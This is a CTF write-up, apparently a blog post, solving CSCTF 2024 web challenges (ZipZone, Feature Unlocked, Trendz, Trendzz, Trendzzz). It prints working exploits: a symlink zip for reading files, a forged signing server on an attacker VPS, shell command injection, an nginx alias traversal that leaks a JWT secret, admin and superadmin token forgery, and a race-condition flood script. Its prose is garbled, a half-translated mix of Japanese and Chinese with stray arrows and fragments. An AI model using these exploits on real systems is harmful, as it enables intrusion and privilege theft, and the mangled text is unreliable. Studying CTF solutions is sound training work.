CSCTF 2024 EICS1 Web問題 解答

最近の難しいCTFに参加してみることにした

Web

  • ZipZone
  • Feature Unlocked
  • Trendz
  • Trendzzz
  • Trendzz

Web

ZipZone

添付ファイルをダウンロードして開始

main.py

import logging
import os
import subprocess
import uuid

from flask import (
    Flask,
    abort,
    flash,
    redirect,
    render_template,
    request,
    send_from_directory,
)

app = Flask(__name__)
upload_dir = "/tmp/"

app.config["MAX_CONTENT_LENGTH"] = 1 * 10**6
app.config["SECRET_KEY"] = os.urandom(32)


@app.route("/", methods=["GET", "POST"])
def upload():
    if request.method == "GET":
        return render_template("index.html")

    if "file" not in request.files:
        flash("No file part!", "danger")
        return render_template("index.html")

    file = request.files["file"]
    if file.filename.split(".")[-1].lower() != "zip":
        flash("Only zip files allowed are allowed!", "danger")
        return render_template("index.html")

    upload_uuid = str(uuid.uuid4())
    filename = f"{upload_dir}raw/{upload_uuid}.zip"
    file.save(filename)
    subprocess.call(["unzip", filename, "-d", f"{upload_dir}files/{upload_uuid}"])
    flash(
        f'Your file is at <a href="/files/{upload_uuid}">{upload_uuid}</a>!', "success"
    )
    logging.info(f"User uploaded file {upload_uuid}.")
    return redirect("/")


@app.route("/files/<path:path>")
def files(path):
    try:
        return send_from_directory(upload_dir + "files", path)
    except PermissionError:
        abort(404)


@app.errorhandler(404)
def page_not_found(error):
    return render_template("404.html")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=5000)

シンプルなZIPファイルアップロード機能しかない

/filesパスでsend_from_directoryを使用してファイルを配信しており、パス検証が行われていない

ここ,看到这里条件反射想到路径穿越。于是寻找sink点→ここが問題点

sink:

サーバーがZIPを展開する際に内容をチェックしていない

一目了然:シンボリックリンク攻撃

しかしflagはルートディレクトリにあり権限がない状態で足止めされていた 後味悪い--> 后来队友告诉我-->队友から教える

entrypoint.shにこのような行があった

cp /home/user/flag.txt /tmp/flag.txt

おいおいおいおいおい

LinuxのシンボリックリンクはWindowsのショートカットのようなもの 新しいファイルを作成し、シンボリックリンクで../../../../../../tmp/flag.txtを読み取る

ln -s ../../../../../../tmp/flag.txt evil.txt
zip -symlinks evil.txt evil.zip

提出→アクセスしてflag獲得

CSCTF{5yml1nk5_4r3_w31rd}

Feature Unlocked

添付ファイルダウンロード

main.py

import subprocess
import base64
import json
import time
import requests
import os
from flask import Flask, request, render_template, make_response, redirect, url_for
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from itsdangerous import URLSafeTimedSerializer

app = Flask(__name__)
app.secret_key = os.urandom(16)
serializer = URLSafeTimedSerializer(app.secret_key)

DEFAULT_VALIDATION_SERVER = 'http://127.0.0.1:1338'
NEW_FEATURE_RELEASE = int(time.time()) + 7 * 24 * 60 * 60
DEFAULT_PREFERENCES = base64.b64encode(json.dumps({
    'theme': 'light',
    'language': 'en'
}).encode()).decode()


def get_preferences():
    preferences = request.cookies.get('preferences')
    if not preferences:
        response = make_response(render_template(
            'index.html', new_feature=False))
        response.set_cookie('preferences', DEFAULT_PREFERENCES)
        return json.loads(base64.b64decode(DEFAULT_PREFERENCES)), response
    return json.loads(base64.b64decode(preferences)), None


@app.route('/')
def index():
    _, response = get_preferences()
    return response if response else render_template('index.html', new_feature=False)


@app.route('/release')
def release():
    token = request.cookies.get('access_token')
    if token:
        try:
            data = serializer.loads(token)
            if data == 'access_granted':
                return redirect(url_for('feature'))
        except Exception as e:
            print(f"Token validation error: {e}")

    validation_server = DEFAULT_VALIDATION_SERVER
    if request.args.get('debug') == 'true':
        preferences, _ = get_preferences()
        validation_server = preferences.get(
            'validation_server', DEFAULT_VALIDATION_SERVER)

    if validate_server(validation_server):
        response = make_response(render_template(
            'release.html', feature_unlocked=True))
        token = serializer.dumps('access_granted')
        response.set_cookie('access_token', token, httponly=True, secure=True)
        return response

    return render_template('release.html', feature_unlocked=False, release_timestamp=NEW_FEATURE_RELEASE)


@app.route('/feature', methods=['GET', 'POST'])
def feature():
    token = request.cookies.get('access_token')
    if not token:
        return redirect(url_for('index'))

    try:
        data = serializer.loads(token)
        if data != 'access_granted':
            return redirect(url_for('index'))

        if request.method == 'POST':
            to_process = request.form.get('text')
            try:
                word_count = f"echo {to_process} | wc -w"
                output = subprocess.check_output(
                    word_count, shell=True, text=True)
            except subprocess.CalledProcessError as e:
                output = f"Error: {e}"
            return render_template('feature.html', output=output)

        return render_template('feature.html')
    except Exception as e:
        print(f"Error: {e}")
        return redirect(url_for('index'))


def get_pubkey(validation_server):
    try:
        response = requests.get(f"{validation_server}/pubkey")
        response.raise_for_status()
        return ECC.import_key(response.text)
    except requests.RequestException as e:
        raise Exception(
            f"Error connecting to validation server for public key: {e}")


def validate_access(validation_server):
    pubkey = get_pubkey(validation_server)
    try:
        response = requests.get(validation_server)
        response.raise_for_status()
        data = response.json()
        date = data['date'].encode('utf-8')
        signature = bytes.fromhex(data['signature'])
        verifier = DSS.new(pubkey, 'fips-186-3')
        verifier.verify(SHA256.new(date), signature)
        return int(date)
    except requests.RequestException as e:
        raise Exception(f"Error validating access: {e}")


def validate_server(validation_server):
    try:
        date = validate_access(validation_server)
        return date >= NEW_FEATURE_RELEASE
    except Exception as e:
        print(f"Error: {e}")
    return False


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)

validation_server.py

from flask import Flask, jsonify
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

app = Flask(__name__)

key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')


@app.route('/pubkey', methods=['GET'])
def get_pubkey():
    return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}


@app.route('/', methods=['GET'])
def index():
    date = str(int(time.time()))
    h = SHA256.new(date.encode('utf-8'))
    signature = DSS.new(key, 'fips-186-3').sign(h)

    return jsonify({
        'date': date,
        'signature': signature.hex()
    })


if __name__ == '__main__':
    app.run(host='127.0.0.1', port=1338)

監査後、大まかな思路が浮かんだ:まず署名検証をバイパスしてfeatureへのアクセス権限を獲得し、次にfeatureでRCEを実行する

套题蒸鹅心

権限検証の位置はwanictfのone_day_one_letterとよく似ている wanictfではリクエスト内で検証サーバーを偽造できた この思路に従い、何とかして偽の検証サーバーを作成する必要がある

sink:

この2行は完全に意味がない(bushi)pythonのgetは辞書にパラメータがないときデフォルト値を返す→DEFAULT_VALIDATION_SERVER

cookieのpreferences辞書にvalidation_serverパラメータがある可能性は低く、常にデフォルト値

burpでパケットをキャプチャし、preferenceがeyJ0aGVtZSI6ICJsaWdodCIsICJsYW5ndWFnZSI6ICJlbiJ9であることを確認 BASE64デコードすると{"theme": "light", "language": "en"}

署名検証をバイパスするために公開鍵と秘密鍵を生成

from Crypto.PublicKey import ECC

key = ECC.generate(curve='P-256')

with open('pubkey', 'w') as f:
    f.write(key.public_key().export_key(format='PEM'))

with open('privkey', 'w') as f:
    f.write(key.export_key(format='PEM'))

次にサーバー上で偽の検証サービスを起動し、時間を10000秒進める

from flask import Flask, jsonify
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

app = Flask(__name__)

key = ECC.import_key('''-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgwwP94eTUCNYIgIye
QfbV7ezstOEOjPo27AsYGZ3EI5+hRANCAATmA8G24jcmc63PgzlImXApG9inScMH
f1Tqq2WLDPEioUiULfcxHzJohj/i5kH0ZTtgViPHufUdsidIqEgnMmvM
-----END PRIVATE KEY-----''')

pubkey = key.public_key().export_key(format='PEM')

@app.route('/pubkey', methods=['GET'])
def get_pubkey():
    return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}


@app.route('/', methods=['GET'])
def index():
    date = str(int(time.time()) + 7 * 24 * 60 * 60 + 10000)
    h = SHA256.new(date.encode('utf-8'))
    signature = DSS.new(key, 'fips-186-3').sign(h)

    return jsonify({
        'date': date,
        'signature': signature.hex()
    })


if __name__ == '__main__':
    app.run(host='YOUR VPS IP', port=3000)

cookieのpreference内容を{"theme": "light", "language": "en", "validation_server": "YOUR VPS IP:3000"}に変更しBASE64エンコード

このcookieを持ってhttps://feature-unlocked-web-challs.csc.tf/releaseにアクセスし、featureへのアクセス権限を獲得

次はい:中国CTFerにとってよりおなじみのlinux RCE环节())(笑わないでくれ、海外CTFでは全是xssで一点できない)

なんとレスポンスがあり,甚至没过滤,甚至过滤、他に何もせず本当に感動する

好き勝手に打てる(%23は#のURLエンコード)

GET: ?text=cat /flag %23

CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!}

Trendz

コードを監査し、题目的大致思路为伪造admin的jwt

この問題の正解はxss(adminにはbotがあるがsuperadminには 없는)、trendzzzの正解はJWT偽装 xssできないから全部JWT偽装で通す

validation.go

func ValidateAdmin() gin.HandlerFunc {
	return func(c *gin.Context) {
		const bearerSchema = "Bearer "
		var tokenDetected bool = false
		var tokenString string
		authHeader := c.GetHeader("Authorization")
		if len(authHeader) != 0 {
			tokenDetected = true
			tokenString = authHeader[len(bearerSchema):]
		}
		if !tokenDetected {
			var err error
			tokenString, err = c.Cookie("accesstoken")
			if tokenString == "" || err != nil {
				c.Redirect(302, "/getAccessToken?redirect="+c.Request.URL.Path)
			}
		}
		fmt.Println(tokenString)
		claims := jwt.ExtractClaims(tokenString)
		if claims["role"] == "admin" || claims["role"] == "superadmin" {
			fmt.Println(claims)
		} else {
			fmt.Println("Token is not valid")
			c.AbortWithStatusJSON(403, gin.H{"error": "User Unauthorized"})
			return
		}
	}
}

发现要伪造身份为admin或superadmin,对应两个flag(trendz和trendzzz)做法完全一样

でもjwt.secretがないとは何もできない、jwt.secretはmain.goと同じweb appのルートディレクトリにある

悔しくなった 後、队友から-->队友から教えられる:設定ファイルを見落としていた

config

user  nobody;
worker_processes  auto;

events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        location / {
            proxy_pass http://localhost:8000;
        }
        location /static {
            alias /app/static/;
        }
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }

    }

}

気づく

おいおいおいおいおい(この状況は少し馴染みがある、ZipZoneも設定ファイルを見落として解けなかった)

誰がconfigのstaticにaliasがあり、パス検証がないなんて思っていただろうか()))

直接アクセス

/static../jwt.secret

これは次と同等

/app/static/../jwt.secret

これは次と同等

/app/jwt.secret

jwtのキーを入手したら偽装即可

package main

import (
	"fmt"
	"time"

	"github.com/golang-jwt/jwt/v5"
)

func main() {
	secretKey := []byte("7e0e4bba1492788a15328814b328dba359839460\n")

	token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
		"username": "admin",
		"role":     "admin",
		"exp":      time.Now().Add(time.Hour * 24).Unix(),
		"iat":      time.Now().Unix(),
	})

	signedToken, err := token.SignedString(secretKey)
	if err != nil {
		fmt.Println("Error generating token:", err)
		return
	}

	fmt.Println("Generated Admin JWT:", signedToken)
}

adminのdashboardに入り、唯一のpostを見てflag获得

CSCTF{0a97afb3-64be-4d96-aa52-86a91a2a3c52}

Trendzzz

trendzと全く同じ做法で、adminをsuperadminに換えるだけ

package main

import (
	"fmt"
	"time"

	"github.com/golang-jwt/jwt/v5"
)

func main() {
	secretKey := []byte("7e0e4bba1492788a15328814b328dba359839460\n")

	token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
		"username": "superadmin",
		"role":     "superadmin",
		"exp":      time.Now().Add(time.Hour * 24).Unix(),
		"iat":      time.Now().Unix(),
	})

	signedToken, err := token.SignedString(secretKey)
	if err != nil {
		fmt.Println("Error generating token:", err)
		return
	}

	fmt.Println("Generated SuperAdmin JWT:", signedToken)
}

flagはログイン时就送

Trendzz

题目说要发表12个post就有flag,但是你只能发表10个post

このような問題は典型的な条件競争、第10のpostを送信する際に連続で3つのpostを送信すれば良い

exploit.py

import aiohttp
import asyncio

url = 'YOUR URL/user/posts/create'

post_data = {
    "title": "1",
    "data": "1"
}

cookies = {
    "accesstoken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjUyNzQxMzksImlhdCI6MTcyNTI3MzUzOSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImgifQ.PT9VM2KV4dSlp3uNTfRuwsJ_3hfaPKaLWNbkZiWt0TQ"
}


async def Post(session, semaphore):
    async with semaphore:
        async with session.post(url, json=post_data, cookies=cookies) as response:
            text = await response.text()
            print(f"{text}")

async def main():
    concurrency_limit = 100
    semaphore = asyncio.Semaphore(concurrency_limit)

    async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(limit=concurrency_limit)) as session:
        tasks = []
        for i in range(50):
          tasks.append(Post(session, semaphore))
        await asyncio.gather(*tasks)

asyncio.run(main())

CSCTF{d2426fb5-a93a-4cf2-b353-eac8e0e9cf94}

タグ: CTF Web Security symlink attack JWT RCE

7月30日 19:38 投稿